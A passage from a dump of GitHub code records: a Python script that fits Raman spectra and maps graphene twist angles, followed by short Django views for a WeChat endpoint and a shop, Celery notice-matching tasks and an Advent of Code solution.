:, 3] > thresh_lw[1]),\n (fiterrors != 0)\n ]\n \n # Create the mask in 2D\n mask = np.logical_or.reduce(conditions)\n \n # Apply the mask to fitresults\n fitresults_ma = np.ma.masked_array(fitresults, mask=np.broadcast_to(mask[:, :, np.newaxis], fitresults.shape))\n\n # The mapped quantities\n quantities = [\"intensity\", \"position\", \"linewidth\"]\n # Their units\n cbar_labels = [\"Intensity (arb. u.)\", r\"$\\omega$ (1/cm)\", r\"$\\Gamma$ (1/cm)\"]\n \n # Put cranges in list so they can be looped\n cranges = [crange_int, crange_pos, crange_lw] \n \n # In a loop, plot peak intensity, position and linewidth\n for i in range(3):\n # The first plt.close() avoids funny interactions with the interactive plot\n plt.close()\n # In these lines, i = i+1 to skip the first parameter which is the offset.\n # If a colorbar range was specified, use it.\n if cranges[i] != ():\n im = plt.imshow(fitresults_ma[:,:,i+1], extent = [0, sx, 0, sy], cmap=\"gist_rainbow\", vmin=cranges[i][0], vmax=cranges[i][1])\n else:\n im = plt.imshow(fitresults_ma[:,:,i+1], extent = [0, sx, 0, sy], cmap=\"gist_rainbow\")\n plt.xlabel(\"µm\")\n plt.ylabel(\"µm\")\n plt.suptitle(peakname + \" \" + quantities[i])\n plt.colorbar(im, label=cbar_labels[i])\n plt.savefig(folder+\"/\"+peakname + \"_\" + quantities[i]+\".pdf\", format=\"pdf\", dpi=300)\n plt.savefig(folder+\"/\"+peakname + \"_\" + quantities[i]+\".svg\", format=\"svg\", dpi=300)\n plt.close()\n\n return()\n\n\n\"\"\" Apply a moving average window [size (2s+1)*(2s+1)] to a masked 2D array \"\"\"\ndef moving_2D_average(data, s):\n # Extract size of the data array\n ny,nx = data.shape\n # Create empty masked array to store the averaged data, with the mask set\n # to False (0) everywhere\n data_av = np.ma.array(np.zeros((ny,nx)), mask = np.zeros((ny,nx)))\n \n # Scan over the array, avoiding the array edges so far as to always have s \n # neighbours around each data point in which a gradient is computed\n for x in range(nx-2*s):\n x = x+s\n \n for y in range(ny-2*s):\n y = y+s\n fitfails = 0\n \n # Scan over the viscinity of the current data point, considering a\n # square with side length 2s+1.\n dividend = 0\n divisor = 0\n for i in range(-s, s+1): # s+1 makes sure that i=(-1,0,1) if s=1\n for j in range(-s, s+1):\n \n # If the current viscinity data point is masked, raise the\n # counter of fit fails\n if data.mask[y+j, x+i] == True:\n fitfails += 1\n continue\n \n # If the current viscinity data point is not masked,\n # include its value into the calculation of the local \n # average.\n else:\n value = data[y+j, x+i]\n # The viscinity data points are weighted with\n # 1 / their distance to the current data point (the one \n # the average is calculated for). The current data\n # point itself gets a weight of 1.\n if i==0 and j==0:\n weight = 1\n else:\n weight = 1/sqrt(i**2 + j**2)\n \n dividend += value*weight\n divisor += weight\n \n # If at the end there have been <= 3 fitfails, calculate average\n if fitfails <= 3:\n data_av[y,x] = dividend/divisor\n \n # Otherwise, mask the current data point\n else:\n data_av.mask[y,x] = True\n \n # Apply mask around the edge where no average value was calculated\n data_av.mask[0:s,:] = 1\n data_av.mask[-s:,:] = 1\n data_av.mask[:,0:s] = 1\n data_av.mask[:,-s:] = 1\n \n return(data_av) \n\n\n\"\"\" Do the twist angle related maps \"\"\"\ndef map_theta(fitresults, fiterrors, pdict, folder):\n \n ############################### Part 1 ####################################\n # Create a function that converts the TA peak position to the twist angle #\n ###########################################################################\n \n # Load phonon dispersion\n dispersion = np.loadtxt(\"phondis_graphene.dat\")\n \n # Extract the dispersion of the TA branch\n # Use only the K-to-Gamma data (137:237)\n # Invert list to get Gamma-K instead of K-Gamma\n start, stop = 137, 237\n ta_branch = dispersion[start:stop,2][::-1]\n \n # This is the distance Gamma-K in units of the graphene lattice constant a\n gamma, k = 0, 4*pi/3/a\n # Create an array of crystal momenta from Gamma to K\n crystal_momentum = np.linspace(gamma, k, stop-start)\n \n # Convert crystal momenta to corresponding twist angles using the geometric\n # expression given in http://dx.doi.org/10.1021/nl201370m\n theta_deg = np.degrees(2*arcsin(sqrt(3)*a/8/pi*crystal_momentum))\n\n # Use scipy interpolation to create a function of the twist angle as a \n # function of the phonon frequency, i.e., the TA peak position\n TA_position_to_theta = interp1d(ta_branch, theta_deg, kind=\"cubic\")\n \n \n ############################### Part 2 ####################################\n # Using the function from part 1, map the twist angle #\n ###########################################################################\n \n # Retrieve required variables from the peak dictionary\n nx, ny = pdict[\"size_px\"] # Scan size in pixels\n sx, sy = pdict[\"size_um\"] # Scan size in microns\n (thresh_c, thresh_x0, thresh_lw) = pdict[\"params_thresh\"] \n crange_theta = pdict[\"crange_theta\"] # Colorbar range of twist angle\n crange_grad_theta = pdict[\"crange_grad_theta\"] # Colorbar range of twist angle gradient\n \n # Create an array of TA position values where all values above the \n # interpolation range maximum (748 1/cm) are replaced by a dummy value of 0\n posTA_cutoff = np.where(fitresults[:,:,2] > 748, 0, fitresults[:,:,2])\n \n # Calculate the twist angle array\n theta = TA_position_to_theta(posTA_cutoff)\n \n # Conditions to check if the best fit parameters fall into their threshold interval\n conditions = [\n (thresh_c[0] > fitresults[:, :, 1]),\n (fitresults[:, :, 1] > thresh_c[1]),\n (thresh_x0[0] > fitresults[:, :, 2]),\n (fitresults[:, :, 2] > thresh_x0[1]),\n (thresh_lw[0] > fitresults[:, :, 3]),\n (fitresults[:, :, 3] > thresh_lw[1]),\n (fiterrors != 0)\n ]\n \n # Create the mask\n mask = np.logical_or.reduce(conditions)\n \n # Apply the mask to theta\n theta_ma = np.ma.masked_array(theta, mask=mask)\n \n # Map the twist angle\n # Check if colorbar ranges were specified, if so: Apply them. \n if crange_theta != ():\n im = plt.imshow(theta_ma, extent = [0, sx, 0, sy], cmap=\"gist_rainbow\", vmin=crange_theta[0], vmax=crange_theta[1])\n else:\n im = plt.imshow(theta_ma, extent = [0, sx, 0, sy], cmap=\"gist_rainbow\")\n plt.xlabel(\"µm\")\n plt.ylabel(\"µm\")\n plt.suptitle(\"Twist angle\")\n plt.colorbar(im, label=r\"$\\vartheta_{TA}$ (°)\")\n plt.savefig(folder + \"/\" + \"twist_angle.pdf\", format=\"pdf\", dpi=300)\n plt.savefig(folder + \"/\" + \"twist_angle.svg\", format=\"svg\", dpi=300)\n plt.close()\n \n \n ############################### Part 2 ####################################\n # Calculate and map the twist angle gradient #\n ###########################################################################\n \n # Retrieve required variables from the peak dictionary\n max_gradient = pdict[\"max_gradient\"] # °/µm, maximum gradient value in the map\n \n # Calculate the twist angle gradient in x and y direction\n gradient_x, gradient_y = np.gradient(theta_ma, edge_order=1)\n \n # Calculate the moving average of gradient in x and y direction\n gradient_x_av = moving_2D_average(gradient_x, s=1)\n gradient_y_av = moving_2D_average(gradient_y, s=1)\n \n # Calculate absolute value of the gradient\n grad_theta_ma = np.sqrt(gradient_x_av**2 + gradient_y_av**2)\n \n # Divide numerical gradient by step size to convert in °/µm\n # sx/nx is the step size of the scan in pixel\n grad_theta_ma = grad_theta_ma/(sx/nx)\n\n # Mask all gradient values that are above the threshold set by the user\n updated_mask = np.logical_or(grad_theta_ma.mask, grad_theta_ma.data > max_gradient)\n grad_theta_ma = np.ma.masked_array(grad_theta_ma.data, updated_mask)\n \n # Map the twist angle gradient\n # Check if colorbar ranges were specified, if so: Apply them. \n if crange_grad_theta != ():\n im = plt.imshow(grad_theta_ma, extent = [0, sx, 0, sy], cmap=\"gist_rainbow\", vmin=crange_grad_theta[0], vmax=crange_grad_theta[1])\n else:\n im = plt.imshow(grad_theta_ma, extent = [0, sx, 0, sy], cmap=\"gist_rainbow\") \n plt.xlabel(\"µm\")\n plt.ylabel(\"µm\")\n plt.suptitle(\"Twist angle gradient\")\n plt.colorbar(im, label=r\"|$\\nabla\\vartheta_{TA}$| (°/µm)\")\n plt.savefig(folder + \"/\" + \"twist_angle_gradient.pdf\", format=\"pdf\", dpi=300)\n plt.close()\n\n return()\n\n\n###############################################################################\n# 3.4 Experimental: interactive stuff \n###############################################################################\n\n# This function is activated when double clicking in tne interactive map and \n# plots the spectrum + fit in the point that was clicked\ndef onclick(event, fitresults, fiterrors, pdict):\n if event.dblclick:\n if event.button == 1:\n if isinstance(event.ydata, float): # Check if the doubleclick event happened inside the plot and returns correct values\n # Exact location of click in axis units\n valx, valy = event.xdata, event.ydata\n \n # Find index coordinates of click position. The +1 at y_map en-\n # sures that the shown spectrum really belongs to the clicked\n # pixel, otherwise there is a mismatch of exactly one pixel.\n x_map = np.abs(xaxis - valx).argmin()\n y_map = np.abs(yaxis - valy).argmin() + 1\n \n # Extract required variables from the pdict\n plotrange = pdict[\"plotrange\"]\n fitrange = pdict[\"fitrange\"]\n (thresh_c, thresh_x0, thresh_lw) = pdict[\"params_thresh\"] \n \n # Find start and stop indices of plotrange and fitrange in spectrum\n i_plotstart = np.abs(xdata - plotrange[0]).argmin()\n i_plotstop = np.abs(xdata - plotrange[1]).argmin()\n i_fitstart = np.abs(xdata - fitrange[0]).argmin()\n i_fitstop = np.abs(xdata - fitrange[1]).argmin()\n\n # Create x and y array in the plotrange\n xdata_plot = xdata[i_plotstart:i_plotstop]\n ydata_plot = data[-y_map, x_map, i_plotstart:i_plotstop]\n # Create x array in the fitrange\n xdata_fit = xdata[i_fitstart:i_fitstop]\n\n # Clear the previous spectrum + fit from the plot\n ax3.cla()\n \n # Scatter the spectrum\n ax3.scatter(xdata_plot, ydata_plot, s=5, zorder=1)\n \n # Plot the fit if it succeeded in that point\n if fiterrors[-y_map, x_map] == 0:\n ax3.plot(xdata_fit, lorentzian(xdata_fit, *fitresults[-y_map, x_map]), color=\"tab:orange\")\n ax3.set_xlim(plotrange)\n \n # Assemble text string with best fit parameters\n text_I = r\"I = %.0f \" %(fitresults[-y_map, x_map][1])\n text_x0 = \"\\n\" + \"$\\omega$ = %.2f rel. 1/cm\" %(fitresults[-y_map, x_map][2])\n text_lw = \"\\n\" + \"$\\Gamma$ = %.2f 1/cm\" %(fitresults[-y_map, x_map][3])\n \n # Define conditions to check if the fitresults violate threshold boundaries\n cond_c = (thresh_c[0] > fitresults[-y_map, x_map, 1]) or (fitresults[-y_map, x_map, 1] > thresh_c[1])\n cond_x0 = (thresh_x0[0] > fitresults[-y_map, x_map, 2]) or (fitresults[-y_map, x_map, 2] > thresh_x0[1])\n cond_lw = (thresh_lw[0] > fitresults[-y_map, x_map, 3]) or (fitresults[-y_map, x_map, 3] > thresh_lw[1])\n\n # Add information about threshold violations to the string\n if cond_c:\n ax3.text(0.01, 0.95, text_I, ha='left', va='top', transform=ax3.transAxes, color=\"tab:red\")\n else:\n ax3.text(0.01, 0.95, text_I, ha='left', va='top', transform=ax3.transAxes)\n \n if cond_x0:\n ax3.text(0.01, 0.94, text_x0, ha='left', va='top', transform=ax3.transAxes, color=\"tab:red\")\n else:\n ax3.text(0.01, 0.94, text_x0, ha='left', va='top', transform=ax3.transAxes)\n \n if cond_lw:\n ax3.text(0.01, 0.85, text_lw, ha='left', va='top', transform=ax3.transAxes, color=\"tab:red\")\n else:\n ax3.text(0.01, 0.85, text_lw, ha='left', va='top', transform=ax3.transAxes)\n \n # Plot the text\n #ax3.text(0.01, 0.95, textstr, ha='left', va='top', transform=ax3.transAxes)\n\n # Update the plot in the window\n ax3.set_xlabel(\"Raman shift (rel. 1/cm)\")\n ax3.set_ylabel(\"CCD counts\")\n ax3.figure.canvas.draw()\n \n else:\n print('Please double click inside a map!')\n return None\n\n\ndef make_figure(fitresults, fiterrors, pdict):\n \n # Retrieve required variables from the dictionnary\n nx, ny = pdict[\"size_px\"] # Scan size in pixels\n sx, sy = pdict[\"size_um\"] # Scan size in microns\n peakname = pdict[\"peakname\"] # Name of the peak\n (thresh_c, thresh_x0, thresh_lw) = pdict[\"params_thresh\"] # Threshold values\n crange_int = pdict[\"crange_int\"] # Colorbar range of intensity\n crange_pos = pdict[\"crange_pos\"] # Colorbar range of position\n crange_lw = pdict[\"crange_lw\"] # Colorbar range of linewidth\n \n # Conditions to check if the best fit parameters fall into their threshold interval\n conditions = [\n (thresh_c[0] > fitresults[:, :, 1]),\n (fitresults[:, :, 1] > thresh_c[1]),\n (thresh_x0[0] > fitresults[:, :, 2]),\n (fitresults[:, :, 2] > thresh_x0[1]),\n (thresh_lw[0] > fitresults[:, :, 3]),\n (fitresults[:, :, 3] > thresh_lw[1]),\n (fiterrors != 0)\n ]\n \n # Create the mask in 2D\n mask = np.logical_or.reduce(conditions)\n \n # Apply the mask to fitresults\n fitresults_ma = np.ma.masked_array(fitresults, mask=np.broadcast_to(mask[:, :, np.newaxis], fitresults.shape))\n \n # Build the figure with grid and subplots\n fig = plt.figure(figsize = (15, 10))\n grid = mpl.gridspec.GridSpec(6, 6, figure = fig, hspace=0.6, wspace=0.8)\n ax0 = fig.add_subplot(grid[:3, 0:2])\n ax1 = fig.add_subplot(grid[:3, 2:4])\n ax2 = fig.add_subplot(grid[:3, 4:6])\n ax3 = fig.add_subplot(grid[3:6, :])\n \n # Plot the maps\n # Check if colorbar ranges were specified, if so: Apply them.\n if crange_int != ():\n im0 = ax0.imshow(fitresults_ma[:,:,1], extent = [0, sx, 0, sy], cmap=\"gist_rainbow\", vmin=crange_int[0], vmax=crange_int[1]) # Intensity\n else:\n im0 = ax0.imshow(fitresults_ma[:,:,1], extent = [0, sx, 0, sy], cmap=\"gist_rainbow\") # Intensity\n \n if crange_pos != ():\n im1 = ax1.imshow(fitresults_ma[:,:,2], extent = [0, sx, 0, sy], cmap=\"gist_rainbow\", vmin=crange_pos[0], vmax=crange_pos[1]) # Position\n else:\n im1 = ax1.imshow(fitresults_ma[:,:,2], extent = [0, sx, 0, sy], cmap=\"gist_rainbow\") # Position\n \n if crange_lw != ():\n im2 = ax2.imshow(fitresults_ma[:,:,3], extent = [0, sx, 0, sy], cmap=\"gist_rainbow\", vmin=crange_lw[0], vmax=crange_lw[1]) # Linewidth\n else:\n im2 = ax2.imshow(fitresults_ma[:,:,3], extent = [0, sx, 0, sy], cmap=\"gist_rainbow\") # Linewidth\n \n # Label axes\n ax0.set_xlabel(\"µm\")\n ax0.set_ylabel(\"µm\")\n ax1.set_xlabel(\"µm\")\n ax1.set_ylabel(\"µm\")\n ax2.set_xlabel(\"µm\")\n ax2.set_ylabel(\"µm\")\n ax3.set_xlabel(\"Raman shift (rel. 1/cm)\")\n ax3.set_ylabel(\"CCD counts\")\n \n # Add colorbars\n plt.colorbar(im0, ax=ax0, label=\"Intensity (arb. u.)\") \n plt.colorbar(im1, ax=ax1, label=\"Position (rel. 1/cm)\") \n plt.colorbar(im2, ax=ax2, label=\"Linewidth (1/cm)\") \n \n # Set titles\n ax0.set_title(peakname + \" intensity\")\n ax1.set_title(peakname + \" position\")\n ax2.set_title(peakname + \" linewidth\")\n \n fig.canvas.mpl_connect('button_press_event', lambda event: onclick(event, fitresults, fiterrors, pdict))\n \n return(ax0, ax1, ax2, ax3)\n\n\n###############################################################################\n\"\"\" 4. Don't touch section B (executing the code) \"\"\"\n###############################################################################\n\n###############################################################################\n# 4.1 Import Raman raw data and perform the fits\n###############################################################################\n\n# Check if any fitting will be done, import Raman data only if that is the case\nif any([b_fit_TA, b_fit_G, b_fit_LO, b_fit_2D]): \n xdata, data = read_raman_scan(folder, file, size_px, spectral_mean_range)\n\n# Create lists that are needed to locate the index coordinates of a click event\nxaxis = np.linspace(0, size_um[0], size_px[0])\nyaxis = np.linspace(0, size_um[1], size_px[1])\n\n# TA: Perform fits and save the results #######################################\nif b_fit_TA == True:\n # Insert a place holder value for the position starting value, which is \n # determined dynamically in the fitting routine\n pdict_TA = {}\n pdict_TA[\"startparams\"] = [startparams_TA[0], startparams_TA[1], 0, startparams_TA[2]]\n pdict_TA[\"size_px\"] = size_px\n pdict_TA[\"size_um\"] = size_um\n pdict_TA[\"peakname\"] = \"TA\"\n pdict_TA[\"fitrange\"] = (240, 290) # Data range for fitting\n pdict_TA[\"plotrange\"] = (220, 310) # Data range for plotting\n pdict_TA[\"params_thresh\"] = (thresh_TA_c, thresh_TA_x0, thresh_TA_lw)\n pdict_TA[\"crange_int\"] = crange_TA_int\n pdict_TA[\"crange_pos\"] = crange_TA_pos\n pdict_TA[\"crange_lw\"] = crange_TA_lw\n pdict_TA[\"crange_theta\"] = crange_theta\n pdict_TA[\"crange_grad_theta\"] = crange_grad_theta\n pdict_TA[\"max_gradient\"] = max_gradient\n # Perform the fits\n fitresults_TA, fitresults_std_TA, fiterrors_TA = fit_to_map(xdata, data, pdict_TA)\n # Save the results\n with open(folder+\"/TA\", \"wb\") as file:\n pickle.dump([xdata, data, pdict_TA, fitresults_TA, fitresults_std_TA, fiterrors_TA], file)\n\n\n\n# G: Perform fits and save the results #######################################\nif b_fit_G == True:\n # Insert a place holder value for the position starting value, which is \n # determined dynamically in the fitting routine\n pdict_G = {}\n pdict_G[\"startparams\"] = [startparams_G[0], startparams_G[1], 0, startparams_G[2]]\n pdict_G[\"size_px\"] = size_px\n pdict_G[\"size_um\"] = size_um\n pdict_G[\"peakname\"] = \"G\"\n pdict_G[\"fitrange\"] = (1500, 1610) # Data range for fitting\n pdict_G[\"plotrange\"] = (1500, 1800) # Data range for plotting\n pdict_G[\"params_thresh\"] = (thresh_G_c, thresh_G_x0, thresh_G_lw)\n pdict_G[\"crange_int\"] = crange_G_int\n pdict_G[\"crange_pos\"] = crange_G_pos\n pdict_G[\"crange_lw\"] = crange_G_lw\n # Perform the fits\n fitresults_G, fitresults_std_G, fiterrors_G = fit_to_map(xdata, data, pdict_G)\n # Save the results\n with open(folder+\"/G\", \"wb\") as file:\n pickle.dump([xdata, data, pdict_G, fitresults_G, fitresults_std_G, fiterrors_G], file)\n\n\n# LO: Perform fits and save the results #######################################\nif b_fit_LO == True:\n # Insert a place holder value for the position starting value, which is \n # determined dynamically in the fitting routine\n pdict_LO = {}\n pdict_LO[\"startparams\"] = [startparams_LO[0], startparams_LO[1], 0, startparams_LO[2]]\n pdict_LO[\"size_px\"] = size_px\n pdict_LO[\"size_um\"] = size_um\n pdict_LO[\"peakname\"] = \"LO\"\n pdict_LO[\"fitrange\"] = (1610, 1800) # Data range for fitting\n pdict_LO[\"plotrange\"] = (1500, 1800) # Data range for plotting\n pdict_LO[\"params_thresh\"] = (thresh_LO_c, thresh_LO_x0, thresh_LO_lw)\n pdict_LO[\"crange_int\"] = crange_LO_int\n pdict_LO[\"crange_pos\"] = crange_LO_pos\n pdict_LO[\"crange_lw\"] = crange_LO_lw\n # Perform the fits\n fitresults_LO, fitresults_std_LO, fiterrors_LO = fit_to_map(xdata, data, pdict_LO)\n # Save the results\n with open(folder+\"/LO\", \"wb\") as file:\n pickle.dump([xdata, data, pdict_LO, fitresults_LO, fitresults_std_LO, fiterrors_LO], file)\n\n\n# 2D: Perform fits and save the results #######################################\nif b_fit_2D == True:\n # Insert a place holder value for the position starting value, which is \n # determined dynamically in the fitting routine\n pdict_2D = {}\n pdict_2D[\"startparams\"] = [startparams_2D[0], startparams_2D[1], 0, startparams_2D[2]]\n pdict_2D[\"size_px\"] = size_px\n pdict_2D[\"size_um\"] = size_um\n pdict_2D[\"peakname\"] = \"2D\"\n pdict_2D[\"fitrange\"] = (2500, 2850) # Data range for fitting\n pdict_2D[\"plotrange\"] = (2400, 2900) # Data range for plotting\n pdict_2D[\"params_thresh\"] = (thresh_2D_c, thresh_2D_x0, thresh_2D_lw)\n pdict_2D[\"crange_int\"] = crange_2D_int\n pdict_2D[\"crange_pos\"] = crange_2D_pos\n pdict_2D[\"crange_lw\"] = crange_2D_lw\n # Perform the fits\n fitresults_2D, fitresults_std_2D, fiterrors_2D = fit_to_map(xdata, data, pdict_2D)\n # Save the results\n with open(folder+\"/2D\", \"wb\") as file:\n pickle.dump([xdata, data, pdict_2D, fitresults_2D, fitresults_std_2D, fiterrors_2D], file)\n\n \n###############################################################################\n# 4.2 Load results of a previous fit along with xdata and the peak dictionnary\n###############################################################################\n \nif b_load_TA == True:\n \n with open(folder+\"/TA\", \"rb\") as file:\n xdata, data, pdict_TA, fitresults_TA, fitresults_std_TA, fiterrors_TA = pickle.load(file)\n \n # Update colorbar ranges in the pdict\n pdict_TA[\"crange_int\"] = crange_TA_int\n pdict_TA[\"crange_pos\"] = crange_TA_pos\n pdict_TA[\"crange_lw\"] = crange_TA_lw\n pdict_TA[\"crange_theta\"] = crange_theta\n pdict_TA[\"crange_grad_theta\"] = crange_grad_theta\n pdict_TA[\"max_gradient\"] = max_gradient\n \n # Save updated pdict to pickle file\n with open(folder+\"/TA\", \"wb\") as file:\n pickle.dump([xdata, data, pdict_TA, fitresults_TA, fitresults_std_TA, fiterrors_TA], file)\n\n \n \nif b_load_G == True:\n \n with open(folder+\"/G\", \"rb\") as file:\n xdata, data, pdict_G, fitresults_G, fitresults_std_G, fiterrors_G = pickle.load(file)\n\n # Update colorbar ranges in the pdict\n pdict_G[\"crange_int\"] = crange_G_int\n pdict_G[\"crange_pos\"] = crange_G_pos\n pdict_G[\"crange_lw\"] = crange_G_lw\n \n # Save updated pdict to pickle file\n with open(folder+\"/G\", \"wb\") as file:\n pickle.dump([xdata, data, pdict_G, fitresults_G, fitresults_std_G, fiterrors_G], file)\n\n \n \nif b_load_LO == True:\n\n with open(folder+\"/LO\", \"rb\") as file:\n xdata, data, pdict_LO, fitresults_LO, fitresults_std_LO, fiterrors_LO = pickle.load(file)\n\n # Update colorbar ranges in the pdict\n pdict_LO[\"crange_int\"] = crange_LO_int\n pdict_LO[\"crange_pos\"] = crange_LO_pos\n pdict_LO[\"crange_lw\"] = crange_LO_lw\n \n # Save updated pdict to pickle file\n with open(folder+\"/LO\", \"wb\") as file:\n pickle.dump([xdata, data, pdict_LO, fitresults_LO, fitresults_std_LO, fiterrors_LO], file)\n\n\n\nif b_load_2D == True:\n\n with open(folder+\"/2D\", \"rb\") as file:\n xdata, data, pdict_2D, fitresults_2D, fitresults_std_2D, fiterrors_2D = pickle.load(file)\n \n # Update colorbar ranges in the pdict\n pdict_2D[\"crange_int\"] = crange_2D_int\n pdict_2D[\"crange_pos\"] = crange_2D_pos\n pdict_2D[\"crange_lw\"] = crange_2D_lw \n \n # Save updated pdict to pickle file\n with open(folder+\"/2D\", \"wb\") as file:\n pickle.dump([xdata, data, pdict_2D, fitresults_2D, fitresults_std_2D, fiterrors_2D], file)\n\n\n\n###############################################################################\n# 4.3 Open the interactive figures, save the maps\n###############################################################################\nif b_map_TA == True:\n map_lorentz_parameters(fitresults_TA, fiterrors_TA, pdict_TA, folder)\n map_theta(fitresults_TA, fiterrors_TA, pdict_TA, folder) \n ax0, ax1, ax2, ax3 = make_figure(fitresults_TA, fiterrors_TA, pdict_TA)\n \nif b_map_G == True:\n map_lorentz_parameters(fitresults_G, fiterrors_G, pdict_G, folder)\n ax0, ax1, ax2, ax3 = make_figure(fitresults_G, fiterrors_G, pdict_G)\nif b_map_LO == True:\n map_lorentz_parameters(fitresults_LO, fiterrors_LO, pdict_LO, folder)\n ax0, ax1, ax2, ax3 = make_figure(fitresults_LO, fiterrors_LO, pdict_LO)\nif b_map_2D == True:\n map_lorentz_parameters(fitresults_2D, fiterrors_2D, pdict_2D, folder)\n ax0, ax1, ax2, ax3 = make_figure(fitresults_2D, fiterrors_2D, pdict_2D)\n \n \n\n\n \n ","repo_name":"AaronSchaepers/twist_angle_analysis","sub_path":"twist_angle_analysis.py","file_name":"twist_angle_analysis.py","file_ext":"py","file_size_in_byte":40393,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"}
+{"seq_id":"35183506830","text":"#coding:utf-8\nimport hashlib\nimport json\nfrom django.utils.encoding import smart_str\nfrom django.views.decorators.csrf import csrf_exempt\nfrom django.http import HttpResponse\n\ndef hello(request):\n return HttpResponse(\"Hello, world! - Django\")\n\nTOKEN = \"weixin\"\n@csrf_exempt \ndef index(request): \n if request.method == 'GET': \n response = HttpResponse(checkSignature(request),content_type=\"text/plain\") \n return response \n elif request.method == 'POST': \n response = HttpResponse(\"POST METHOD\") \n return response \n else: \n return None \n \ndef checkSignature(request): \n global TOKEN \n signature = request.GET.get(\"signature\", None) \n timestamp = request.GET.get(\"timestamp\", None) \n nonce = request.GET.get(\"nonce\", None) \n echoStr = request.GET.get(\"echostr\",None) \n \n token = TOKEN \n tmpList = [token,timestamp,nonce] \n tmpList.sort() \n tmpstr = \"%s%s%s\" % tuple(tmpList) \n tmpstr = hashlib.sha1(tmpstr).hexdigest() \n if tmpstr == signature: \n return echoStr \n else: \n return None\n","repo_name":"skyeyang/python_codes","sub_path":"skyewechat/wechat/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":1104,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"}
+{"seq_id":"71294251074","text":"from celery import shared_task\n\nfrom thu_lost_and_found_backend.lost_notice_service.models import LostNotice\nfrom thu_lost_and_found_backend.found_notice_service.models import FoundNotice, FoundNoticeStatus\nfrom thu_lost_and_found_backend.matching_service.models import MatchingEntry\nfrom thu_lost_and_found_backend.matching_service.match import matching\n\n@shared_task\ndef create_matching_task(lost_notice_id):\n lost_notice = LostNotice.objects.get(pk=lost_notice_id)\n found_notices = FoundNotice.objects.filter(status=FoundNoticeStatus.PUBLIC, property__template=lost_notice.property.template)\n for found_notice in found_notices:\n matching_degree = matching(lost_notice, found_notice)\n matching_entry = MatchingEntry.objects.create(lost_notice=lost_notice, found_notice=found_notice, matching_degree=matching_degree)\n matching_entry.save()\n\n\n@shared_task\ndef update_matching_task(lost_notice_id):\n lost_notice = LostNotice.objects.get(pk=lost_notice_id)\n for matching_entry in MatchingEntry.objects.filter(lost_notice=lost_notice):\n matching_degree = matching(lost_notice, matching_entry.found_notice)\n matching_entry.matching_degree = matching_degree\n matching_entry.save()\n","repo_name":"liqi0126/thu-lost-and-found-backend","sub_path":"thu_lost_and_found_backend/lost_notice_service/tasks.py","file_name":"tasks.py","file_ext":"py","file_size_in_byte":1233,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"}
+{"seq_id":"18484971495","text":"import os\nimport sys\n\npuzzle_input_path = os.path.join(os.path.dirname(__file__), \"input_1.txt\")\n\nwith open(puzzle_input_path) as puzzle_input_file:\n puzzle_input_raw = puzzle_input_file.read()\n\n\ndirections = {0: \"E\", 90: \"S\", 180: \"W\", 270: \"N\"}\ninstructions = {\n \"N\": lambda x, y, d, arg: (x, y + arg, d),\n \"S\": lambda x, y, d, arg: (x, y - arg, d),\n \"E\": lambda x, y, d, arg: (x + arg, y, d),\n \"W\": lambda x, y, d, arg: (x - arg, y, d),\n \"L\": lambda x, y, d, arg: (x, y, (d - arg) % 360),\n \"R\": lambda x, y, d, arg: (x, y, (d + arg) % 360),\n}\ninstructions[\"F\"] = lambda x, y, d, arg: instructions[directions[d]](x, y, d, arg)\n\nx, y, d = 0, 0, 0\nfor instr, arg in ((x[:1], int(x[1:])) for x in puzzle_input_raw.splitlines()):\n x, y, d = instructions[instr](x, y, d, arg)\n\ndistance = abs(x) + abs(y)\nprint(distance)","repo_name":"timofurrer/aoc","sub_path":"2020/12/part1.py","file_name":"part1.py","file_ext":"py","file_size_in_byte":840,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"}
+{"seq_id":"34640656887","text":"from django.shortcuts import render\r\nfrom django.http import JsonResponse\r\nimport json\r\nimport datetime\r\nfrom .models import *\r\n\r\n# Create your views here.\r\n\r\ndef main(request):\r\n #Needed for data to be passed through \r\n context = {}\r\n return render(request, 'app/main.html', context)\r\n\r\ndef index(request):\r\n context = {}\r\n return render(request, 'app/index.html', context)\r\n\r\ndef account(request):\r\n context = {}\r\n return render(request, 'app/account.html', context)\r\n \r\ndef cancel(request):\r\n context = {}\r\n return render(request, 'app/cancel.html', context)\r\n\r\ndef cart(request):\r\n\r\n #Needed to ensure the proper traits are being passed thourgh for order creation\r\n if request.user.is_authenticated:\r\n customer = request.user.customer\r\n order, created = Order.objects.get_or_create(customer = customer, complete = False)\r\n items = order.orderitems_set.all()\r\n else: \r\n items = []\r\n order = {'order_total':0, 'cart_items':0}\r\n\r\n context = {'items':items, 'order':order}\r\n return render(request, 'app/cart.html', context)\r\n\r\ndef contact(request):\r\n context = {}\r\n return render(request, 'app/contact.html', context)\r\n\r\ndef product(request):\r\n context = {}\r\n return render(request, 'app/product.html', context)\r\n\r\ndef store(request):\r\n products = Products.objects.all()\r\n context = {'products':products}\r\n return render(request, 'app/store.html', context)\r\n\r\ndef success(request):\r\n context = {}\r\n return render(request, 'app/success.html', context)\r\n\r\ndef workout(request):\r\n context = {}\r\n return render(request, 'app/workout.html', context)\r\n\r\ndef checkout(request):\r\n if request.user.is_authenticated:\r\n customer = request.user.customer\r\n order, created = Order.objects.get_or_create(customer = customer, complete = False)\r\n items = order.orderitems_set.all()\r\n else: \r\n items = []\r\n order = {'order_total':0, 'cart_items':0}\r\n\r\n context = {'items' : items, 'order' : order}\r\n return render(request, 'app/checkout.html', context)\r\n \r\ndef updateItem(request):\r\n data = json.loads(request.body)\r\n productId = data['productId']\r\n action = data['action']\r\n print('productId:', productId)\r\n print('action:', action)\r\n customer = request.user.customer\r\n product = Products.objects.get(id = productId)\r\n\r\n #Logic for order creation \r\n order, created = Order.objects.get_or_create(customer = customer, complete = False)\r\n\r\n #Updates order item quantity \r\n orderItem, created = OrderItems.objects.get_or_create(order = order, product = product)\r\n if action == 'add': \r\n orderItem.quantity = (orderItem.quantity + 1)\r\n elif action == 'remove':\r\n orderItem.quantity = (orderItem.quantity - 1)\r\n\r\n orderItem.save()\r\n\r\n #Deletes an order\r\n if orderItem.quantity <= 0:\r\n orderItem.delete()\r\n\r\n return JsonResponse('Item Updated', safe = False)\r\n\r\ndef processOrder(request):\r\n transaction_id = datetime.datetime.now().timestamp()\r\n data = 